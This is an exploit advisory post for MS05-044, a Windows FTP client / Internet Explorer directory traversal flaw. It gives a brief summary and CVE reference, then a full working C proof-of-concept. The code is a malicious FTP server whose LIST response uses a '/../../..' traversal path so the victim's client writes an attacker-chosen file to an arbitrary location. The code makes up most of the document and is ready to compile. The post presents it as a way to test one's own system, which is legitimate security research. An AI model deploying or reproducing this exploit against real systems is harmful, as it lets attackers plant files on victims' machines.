[EXPL] Microsoft Windows FTP Client File Transfer Location Tampering Exploit (MS05-044)

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Microsoft Windows FTP Client File Transfer Location Tampering Exploit
(MS05-044)
------------------------------------------------------------------------

SUMMARY

A tampering vulnerability exists in the Windows FTP client. This
vulnerability could allow an attacker to modify the intended destination
location for a file transfer, when a client has manually chosen to
transfer a file by using FTP. This vulnerability could allow the attacker
to write the file to any file system that is located on an affected
system. For more information about this vulnerability read
<http://www.securiteam.com/windowsntfocus/6M00I0KEAU.html> here.

The following exploit code can be used to test your system for the Windows
FTP client file transfer location tampering vulnerability (MS05-044).

DETAILS

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2126>
CAN-2005-2126

Exploit:
/*
* Microsoft Internet Explorer FTP Download Directory Traversal PoC Exploit
*
* by Albert Puigsech Galicia (ripe / 7a69)
*
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_BUF 1024
#define FTP_PORT 21

int main(int argc, char **argv) {
char ch;
char buffer[MAX_BUF + 1];
char ipbuf[MAX_BUF + 1];
char *local_file, *remote_file;
int sfdmain, sfdses, sfddata;
int readed;
int ip1,ip2,ip3,ip4,port1,port2;
int fd;
struct stat st;
struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
struct sockaddr_in ftpdata;

if (argc < 3) {
printf("\t7a69Adv#17 - Internet Explorer FTP Download Directory Traversal
PoC Exploit\n");
printf("Use:\n");
printf("\t%s <local_file> <remote_file>\n", argv[0]);
exit(0);
}

local_file = argv[1];
remote_file = argv[2];

if ((fd = open(local_file, O_RDONLY)) == -1) {
perror("open()");
exit(-1);
}

if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}

if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) ==
-1) {
perror("bind()");
exit(-1);
}

if (listen(sfdmain, 1) == -1) {
perror("listen()");
exit(-1);
}

if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
perror("accept()");
exit(-1);
}

write(sfdses, "200 OK\r\n", 8);

while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
buffer[readed] = 0;
printf(">> %s", buffer);
if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8);
else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8);
else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8);
else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9);
else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8);
else if (!strncmp(buffer, "PORT ", 5)) {
sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1,
&port2);
snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
ftpdata.sin_family = AF_INET;
ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
ftpdata.sin_port = htons(port1*256+port2);
if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr))
== -1) {
write(sfdses, "421 OK\r\n", 8);
} else {
write(sfdses, "220 OK\r\n", 8);
}
}
else if (!strncmp(buffer, "LIST", 4)) {
write(sfdses, "150 OK\r\n", 8);
snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36
/../../../../../../../../../../..%s\r\n", remote_file);
write(sfddata, buffer, strlen(buffer));
close(sfddata);
write(sfdses, "226 OK\r\n", 8);

}
else if(!strncmp(buffer, "RETR ", 5)) {
write(sfdses, "150 OK\r\n", 8);
fstat(fd, &st);
while(st.st_size-- > 0) {
read(fd, &ch, 1);
write(sfddata, &ch, 1);
}
close(sfddata);
write(sfdses, "226 OK\r\n", 8);
}
else if (!strncmp(buffer, "QUIT", 4)) {
write(sfdses, "221 OK\r\n", 8);
close(sfdses); close(sfdmain); close(sfddata);
}
else
write(sfdses, "500 WTF\r\n", 9);

}
}

ADDITIONAL INFORMATION

The information has been provided by Albert Puigsech Galicia.
The original article can be found at:
<http://www.frsirt.com/exploits/20051013.ms05-044.c.php>
http://www.frsirt.com/exploits/20051013.ms05-044.c.php

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